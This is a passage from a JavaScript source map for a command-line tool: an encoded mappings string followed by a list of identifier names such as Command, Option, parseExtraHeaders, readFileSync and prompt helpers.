B,+DAA+D,EACzF,OAAO,WAAW,qBAAqB,EACvC,OAAO,mBAAmB,iCAAiC,EAC3D,OAAO,eAAe,iDAAiD,EACvE,OAAO,mBAAmB,mCAAmC,EAC7D,OAAO,0BAA0B,oDAAoD,EACrF,OAAO,6BAA6B,2BAA2B,EAC/D,OAAO,iBAAiB,6BAA6B,EACrD,OAAO,iBAAiB,8BAA8B,EACtD,OAAO,2BAA2B,sCAAsC,EACxE,OAAO,qBAAqB,8BAA8B,EAC1D,OAAO,2BAA2B,0CAA0C,EAC5E,OAAO,4BAA4B,0CAA0C,EAC7E,OAAO,uBAAuB,2CAA2C,EACzE,UAAU,IAAIC,QAAO,YAAY,0CAA0C,CAAC,EAC5E,UAAU,IAAIA,QAAO,eAAe,kCAAkC,CAAC,EACvE,OAAO,UAAU,0DAA0D,EAC3E,OAAO,qBAAqB,8BAA8B,EAC1D,OAAO,oBAAoB,iDAAiD,EAC5E;AAAA,IACC;AAAA,IACA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,EAaF,EACC,OAAO,OAAO,MAAuB,QAAiB;AACrD,UAAM,SAAS,aAAa,IAAI,gBAAgB,CAAC;AAEjD,UAAM,UAAUF,UAAS,OAAO,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;AAC/C,UAAM,aAAa,QAAQ,QAAQ,MAAM,KAAK;AAC9C,UAAM,aACJ,KAAK,gBAAgB,QACpB,KAAK,gBAAgB,SAAS,QAAQ,SAAS,KAAK;AAEvD,QAAI;AACJ,QAAI,YAAY;AACd,kBAAY,MAAM,eAAe,MAAM;AAAA,IACzC,OAAO;AACL,UAAI,QAAQ,SAAS,GAAG;AACtB,cAAM,IAAI;AAAA,UACR,+BAA+B,QAAQ,IAAI,CAAC,MAAM,KAAK,CAAC,EAAE,EAAE,KAAK,IAAI,CAAC;AAAA,QAExE;AAAA,MACF;AACA,kBAAYC,WAAU,IAAI;AAAA,IAC5B;AAEA,UAAM,UAAU,kBAAkB,SAAS;AAC3C,UAAM,YAAY;AAAA,MAChB,aAAa,UAAU;AAAA,MACvB,cAAc,UAAU;AAAA,MACxB,QAAQ,UAAU;AAAA,MAClB,KAAK,UAAU;AAAA,IACjB;AACA,UAAM,UAAU,KAAK,IAAI;AACzB,QAAI;AACJ,QAAI;AACF,iBAAW,MAAM,OAAO,cAAc,OAAO;AAAA,IAC/C,SAAS,KAAK;AACZ,YAAM;AAAA,QACJ,UAAU;AAAA,QACV,QAAQ;AAAA,QACR,IAAI;AAAA,QACJ,YAAY,KAAK,IAAI,IAAI;AAAA,QACzB,OAAO,eAAe,QAAQ,IAAI,UAAU,OAAO,GAAG;AAAA,QACtD,MAAM;AAAA,MACR,CAAC;AACD,YAAM;AAAA,IACR;AACA,UAAM;AAAA,MACJ,UAAU;AAAA,MACV,QAAQ;AAAA,MACR,IAAI;AAAA,MACJ,YAAY,KAAK,IAAI,IAAI;AAAA,MACzB,QAAQ,GAAG,SAAS,iBAAiB,cAAc,KAAK,SAAS,iBAAiB,SAAS;AAAA,MAC3F,MAAM;AAAA,IACR,CAAC;AAED,QAAI,KAAK,MAAM;AACb,cAAQ,OAAO,MAAM,GAAG,KAAK,UAAU,UAAU,MAAM,CAAC,CAAC;AAAA,CAAI;AAC7D;AAAA,IACF;AAEA,UAAM,IAAI,SAAS;AACnB,YAAQ,gBAAgB,EAAE,cAAc,KAAK,EAAE,SAAS,SAAS;AAEjE,QAAI,SAAS,kBAAkB,OAAO,KAAK,SAAS,cAAc,EAAE,SAAS,GAAG;AAC9E,iBAAW,CAAC,MAAM,KAAK,KAAK,OAAO,QAAQ,SAAS,cAAc,GAAG;AACnE,gBAAQ;AAAA,MAAS,IAAI,MAAM;AAC3B,gBAAQ,OAAO,MAAM,GAAG,KAAK;AAAA,CAAI;AAAA,MACnC;AACA;AAAA,IACF;AAEA,QAAI,SAAS,eAAe,QAAW;AACrC,YAAM,IAAI,MAAM,gCAAgC;AAAA,IAClD;AAEA,UAAM,SAAS,YAAY,SAAS,YAAY;AAAA,MAC9C,SAAS,KAAK;AAAA,MACd,QAAQ,KAAK;AAAA,IACf,CAAC;AACD,QAAI,OAAO,gBAAgB,UAAU;AACnC,cAAQ,SAAS,OAAO,IAAI,aAAa,OAAO,WAAW,GAAG,OAAO,UAAU,sBAAsB,EAAE,EAAE;AAAA,IAC3G;AAAA,EACF,CAAC;AACL;;;AEjLA,SAAkB,UAAAE,eAAc;AA8BhC,SAASC,mBAAkB,OAAqD;AAC9E,QAAM,UAAkC,CAAC;AACzC,aAAW,QAAQ,SAAS,CAAC,GAAG;AAC9B,UAAM,MAAM,KAAK,QAAQ,GAAG;AAC5B,QAAI,OAAO,GAAG;AACZ,YAAM,IAAI,MAAM,kBAAkB,KAAK,UAAU,IAAI,CAAC,0BAA0B;AAAA,IAClF;AACA,YAAQ,KAAK,MAAM,GAAG,GAAG,EAAE,KAAK,CAAC,IAAI,KAAK,MAAM,MAAM,CAAC,EAAE,KAAK;AAAA,EAChE;AACA,SAAO;AACT;AAEA,SAAS,SAAS,KAAkD;AAClE,QAAM,QAAQ,IAAI,QAAQ,GAAG;AAC7B,MAAI,UAAU,GAAI,QAAO,EAAE,SAAS,IAAI;AACxC,SAAO,EAAE,SAAS,IAAI,MAAM,GAAG,KAAK,GAAG,OAAO,IAAI,MAAM,QAAQ,CAAC,EAAE;AACrE;AAEO,SAAS,sBAAsB,SAAwB;AAC5D,QAAM,SAAS,QACZ,QAAQ,QAAQ,EAChB;AAAA,IACC;AAAA,EACF;AAEF,SACG,QAAQ,MAAM,EACd;AAAA,IACC;AAAA,EACF,EACC,SAAS,SAAS,oCAAoC,EACtD,eAAe,mBAAmB,2BAA2B,EAC7D;AAAA,IACC,IAAIC,QAAO,qBAAqB,YAAY,EAAE,QAAQ,CAAC,YAAY,YAAY,MAAM,CAAC;AAAA,EACxF,EACC,OAAO,iBAAiB,UAAU,EAClC,OAAO,eAAe,cAAc,EACpC,OAAO,wBAAwB,+CAA+C,EAC9E,OAAO,0BAA0B,iDAAiD,EAClF,OAAO,0BAA0B,6CAA6C,EAC9E,OAAO,kBAAkB,mCAAmC,EAC5D,OAAO,mBAAmB,0CAA0C,EACpE,OAAO,qBAAqB,4CAA4C,EACxE,OAAO,yBAAyB,uBAAuB,EACvD,OAAO,UAAU,iBAAiB,EAClC;AAAA,IACC;AAAA,IACA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,EAOF,EACC,OAAO,CAAC,KAAa,SAA4B;AAChD,UAAM,EAAE,SAAS,MAAM,IAAI,SAAS,GAAG;AACvC,QAAI,CAAC,OAAO;AACV,cAAQ,OAAO;AAAA,QACb,0CAA0C,KAAK,UAAU,GAAG,CAAC;AAAA;AAAA,MAC/D;AACA,cAAQ,WAAW;AACnB;AAAA,IACF;AACA,QAAI,CAAC,KAAK,MAAM;AACd,cAAQ,OAAO,MAAM,0DAA0D;AAC/E,cAAQ,WAAW;AACnB;AAAA,IACF;AACA,QAAI,KAAK,WAAW,UAAa,KAAK,aAAa,QAAW;AAC5D,sBAAgB,SAAS,EAAE,QAAQ,KAAK,QAAQ,UAAU,KAAK,SAAS,CAAC;AAAA,IAC3E;AACA,UAAMC,SAAoB;AAAA,MACxB,KAAK,KAAK;AAAA,MACV,MAAM,KAAK;AAAA,MACX,MAAM,KAAK;AAAA,MACX,KAAK,KAAK;AAAA,MACV,YAAY,KAAK;AAAA,MACjB,aAAa,KAAK;AAAA,MAClB,cAAcF,mBAAkB,KAAK,MAAM;AAAA,MAC3C,UAAU,KAAK,YAAY;AAAA,MAC3B,QAAQ,KAAK;AAAA,IACf;AACA,UAAM,SAAS,UAAU,SAAS,OAAOE,MAAK;AAC9C,UAAM;AAAA,MACJ,UAAU;AAAA,MACV,QAAQ;AAAA,MACR,YAAY,GAAG,OAAO,IAAI,KAAK;AAAA,MAC/B,KAAK,OAAO;AAAA,MACZ,MAAM,OAAO;AAAA,MACb,IAAI;AAAA,MACJ,QAAQ;AAAA,MACR,MAAM;AAAA,QACJ,eAAe,KAAK;AAAA,QACpB,iBAAiB,KAAK;AAAA,QACtB,aAAa,KAAK;AAAA,MACpB;AAAA,IACF,CAAC;AACD,QAAI,KAAK,MAAM;AACb,cAAQ,OAAO;AAAA,QACb,GAAG,KAAK,UAAU,EAAE,SAAS,OAAO,GAAG,OAAO,GAAG,MAAM,CAAC,CAAC;AAAA;AAAA,MAC3D;AAAA,IACF,OAAO;AACL,cAAQ,OAAO;AAAA,QACb,SAAS,OAAO,IAAI,KAAK,KAAK,OAAO,IAAI,IAAI,OAAO,GAAG,QAAQ,gBAAgB,CAAC;AAAA;AAAA,MAClF;AAAA,IACF;AAAA,EACF,CAAC;AAEH,SACG,QAAQ,MAAM,EACd,YAAY,kFAAkF,EAC9F,SAAS,SAAS,mCAAmC,EACrD,OAAO,mBAAmB,sBAAsB,EAChD,OAAO,qBAAqB,+CAA+C,EAC3E,OAAO,CAAC,KAAa,SAAiD;AACrE,UAAM,EAAE,SAAS,MAAM,IAAI,SAAS,GAAG;AACvC,QAAI,OAAO;AACT,UAAI,KAAK,aAAa,QAAW;AAC/B,gBAAQ,OAAO,MAAM,8CAA8C;AACnE,gBAAQ,WAAW;AACnB;AAAA,MACF;AACA,UAAI,KAAK,WAAW,QAAW;AAC7B,gBAAQ,OAAO,MAAM,8CAAyC;AAC9D,gBAAQ,WAAW;AACnB;AAAA,MACF;AACA,YAAMC,WAAU,cAAc,SAAS,OAAO,EAAE,QAAQ,KAAK,OAAO,CAAC;AACrE,YAAM;AAAA,QACJ,UAAU;AAAA,QACV,QAAQ;AAAA,QACR,YAAY,GAAG,OAAO,IAAI,KAAK;AAAA,QAC/B,IAAI;AAAA,QACJ,QAAQ,UAAUA,SAAQ,UAAU,GAAG;AAAA,MACzC,CAAC;AACD,cAAQ,OAAO,MAAM,GAAG,OAAO,IAAI,KAAK,YAAYA,SAAQ,UAAU,GAAG;AAAA,CAAI;AAC7E;AAAA,IACF;AACA,QAAI,KAAK,WAAW,UAAa,KAAK,aAAa,QAAW;AAC5D,cAAQ,OAAO,MAAM,gEAA2D;AAChF,cAAQ,WAAW;AACnB;AAAA,IACF;AACA,UAAM,WAAW,WAAW,OAAO;AACnC,QAAI,CAAC,UAAU;AACb,cAAQ,OAAO,MAAM,0BAA0B,KAAK,UAAU,OAAO,CAAC;AAAA,CAAI;AAC1E,cAAQ,WAAW;AACnB;AAAA,IACF;AACA,UAAM,UAAU,gBAAgB,SAAS;AAAA,MACvC,QAAQ,KAAK;AAAA,MACb,UAAU,KAAK;AAAA,IACjB,CAAC;AACD,UAAM;AAAA,MACJ,UAAU;AAAA,MACV,QAAQ;AAAA,MACR,YAAY;AAAA,MACZ,IAAI;AAAA,MACJ,QAAQ,YAAY,QAAQ,YAAY,GAAG,WAAW,QAAQ,UAAU,GAAG;AAAA,IAC7E,CAAC;AACD,YAAQ,OAAO;AAAA,MACb,GAAG,OAAO,cAAc,QAAQ,YAAY,GAAG,WAAW,QAAQ,UAAU,GAAG;AAAA;AAAA,IACjF;AAAA,EACF,CAAC;AAEH,SACG,QAAQ,MAAM,EACd,YAAY,sCAAsC,EAClD,OAAO,qBAAqB,qCAAqC,EACjE,OAAO,UAAU,iBAAiB,EAClC,OAAO,CAAC,SAAgD;AACvD,UAAM,MAAM,aAAa;AACzB,UAAM,QAAQ,OAAO,KAAK,GAAG,EAAE;AAAA,MAC7B,CAAC,MAAM,KAAK,aAAa,UAAa,IAAI,CAAC,EAAG,aAAa,KAAK;AAAA,IAClE;AACA,QAAI,KAAK,MAAM;AACb,YAAM,WAAoC,CAAC;AAC3C,iBAAW,KAAK,MAAO,UAAS,CAAC,IAAI,IAAI,CAAC;AAC1C,cAAQ,OAAO,MAAM,GAAG,KAAK,UAAU,UAAU,MAAM,CAAC,CAAC;AAAA,CAAI;AAC7D;AAAA,IACF;AACA,QAAI,MAAM,WAAW,GAAG;AACtB,cAAQ,OAAO,MAAM,6BAA6B,gBAAgB,CAAC;AAAA,CAAK;AACxE;AAAA,IACF;AACA,eAAW,QAAQ,OAAO;AACxB,YAAM,IAAI,IAAI,IAAI;AAClB,YAAM,OACJ,CAAC,EAAE,WAAW,IAAI,EAAE,QAAQ,MAAM,QAAW,EAAE,MAAM,EAAE,OAAO,OAAO,EAAE,KAAK,IAAI;AAClF,cAAQ,OAAO,MAAM,GAAG,IAAI,GAAG,OAAO,KAAK,IAAI,KAAK,EAAE;AAAA,CAAI;AAC1D,iBAAW,CAAC,WAAW,CAAC,KAAK,OAAO,QAAQ,EAAE,MAAM,GAAG;AACrD,cAAM,OAAO,KAAK,IAAI,IAAI,SAAS,KAAK,EAAE,IAAI,KAAK,EAAE,GAAG;AACxD,gBAAQ,OAAO,MAAM,GAAG,IAAI,GAAG,EAAE,SAAS,YAAO,EAAE,MAAM,KAAK,EAAE;AAAA,CAAI;AAAA,MACtE;AAAA,IACF;AAAA,EACF,CAAC;AAEH,SACG,QAAQ,QAAQ,EAChB,YAAY,gEAAgE,EAC5E,SAAS,SAAS,mCAAmC,EACrD,OAAO,CAAC,QAAgB;AACvB,UAAM,EAAE,SAAS,MAAM,IAAI,SAAS,GAAG;AACvC,UAAM,UAAU,QAAQ,YAAY,SAAS,KAAK,IAAI,cAAc,OAAO;AAC3E,UAAM;AAAA,MACJ,UAAU;AAAA,MACV,QAAQ;AAAA,MACR,YAAY;AAAA,MACZ,IAAI;AAAA,MACJ,QAAQ,UAAU,YAAY;AAAA,IAChC,CAAC;AACD,QAAI,SAAS;AACX,cAAQ,OAAO,MAAM,WAAW,GAAG;AAAA,CAAI;AAAA,IACzC,OAAO;AACL,cAAQ,OAAO,MAAM,yBAAyB,KAAK,UAAU,GAAG,CAAC;AAAA,CAAI;AACrE,cAAQ,WAAW;AAAA,IACrB;AAAA,EACF,CAAC;AACL;;;AChPO,SAAS,uBAAuB,SAAwB;AAC7D,UACG,QAAQ,SAAS,EACjB,YAAY,iDAAiD,EAC7D,OAAO,UAAU,iBAAiB,EAClC,OAAO,OAAO,MAAyB,QAAiB;AACvD,UAAM,SAAS,aAAa,IAAI,gBAAgB,CAAC;AACjD,QAAI;AACJ,QAAI;AACF,eAAS,MAAM,OAAO,WAAW;AAAA,IACnC,SAAS,KAAK;AACZ,eAAS,EAAE,OAAQ,IAAc,QAAQ;AAAA,IAC3C;AAEA,QAAI,KAAK,MAAM;AACb,cAAQ,OAAO,MAAM,GAAG,KAAK,UAAU,EAAE,KAAK,aAAa,OAAO,GAAG,MAAM,CAAC,CAAC;AAAA,CAAI;AACjF;AAAA,IACF;AAEA,UAAM,QAAQ,CAAC,WAAW,WAAW,EAAE;AACvC,QAAI,WAAW,QAAQ;AACrB,YAAM,KAAK,yBAAyB,OAAO,KAAK,EAAE;AAAA,IACpD,OAAO;AACL,YAAM,KAAK,WAAW,OAAO,cAAc,EAAE;AAC7C,UAAI,OAAO,WAAW;AACpB,cAAM,KAAK,WAAW,OAAO,aAAa,YAAY;AAAA,MACxD;AAAA,IACF;AACA,YAAQ,OAAO,MAAM,GAAG,MAAM,KAAK,IAAI,CAAC;AAAA,CAAI;AAAA,EAC9C,CAAC;AACL;;;A9BvBA,SAAS,eAAwB;AAC/B,QAAM,UAAU,IAAIC,SAAQ;AAE5B,UACG,KAAK,UAAU,EACf,YAAY,mDAAmD,EAC/D,QAAQ,aAAa,iBAAiB,wBAAwB,EAC9D;AAAA,IACC;AAAA,IACA,kCAAkC,OAAO,aAAa,eAAe;AAAA,EACvE,EACC,OAAO,kBAAkB,mCAAmC,OAAO;AAEtE,qBAAmB,OAAO;AAC1B,uBAAqB,OAAO;AAC5B,wBAAsB,OAAO;AAC7B,yBAAuB,OAAO;AAC9B,sBAAoB,OAAO;AAC3B,wBAAsB,OAAO;AAC7B,qBAAmB,OAAO;AAC1B,gCAA8B,OAAO;AACrC,yBAAuB,OAAO;AAC9B,qBAAmB,OAAO;AAE1B,SAAO;AACT;AAEA,eAAe,OAAsB;AACnC,QAAM,UAAU,aAAa;AAC7B,MAAI;AACF,UAAM,QAAQ,WAAW,QAAQ,IAAI;AAAA,EACvC,SAAS,KAAK;AAIZ,QAAI,eAAe,UAAU;AAC3B,cAAQ,OAAO,MAAM,cAAc,IAAI,UAAU,SAAS,MAAM,IAAI,OAAO;AAAA,CAAI;AAC/E,cAAQ,WAAW;AAAA,IACrB,WAAW,eAAe,OAAO;AAE/B,UAAI,IAAI,SAAS,mBAAmB;AAClC,gBAAQ,OAAO,MAAM,cAAc;AACnC,gBAAQ,WAAW;AAAA,MACrB,OAAO;AACL,gBAAQ,OAAO,MAAM,UAAU,IAAI,OAAO;AAAA,CAAI;AAC9C,gBAAQ,WAAW;AAAA,MACrB;AAAA,IACF,OAAO;AACL,cAAQ,OAAO,MAAM,UAAU,OAAO,GAAG,CAAC;AAAA,CAAI;AAC9C,cAAQ,WAAW;AAAA,IACrB;AAAA,EACF;AACF;AAEA,KAAK,KAAK;","names":["Command","input","config","excerpt","cookie","randomBytes","randomBytes","readFileSync","homedir","join","existsSync","mkdirSync","readFileSync","homedir","dirname","join","input","Option","parseExtraHeaders","Option","readFileSync","Option","writeFileSync","input","readFileSync","readFileSync","readFileSync","Option","Option","Option","require","updated","readFileSync","readFileSync","Option","checkbox","confirm","input","select","JDK_CHOICES","select","input","checkbox","confirm","REQUIRED","toOptions","Option","Option","parseExtraHeaders","Option","input","updated","Command"]}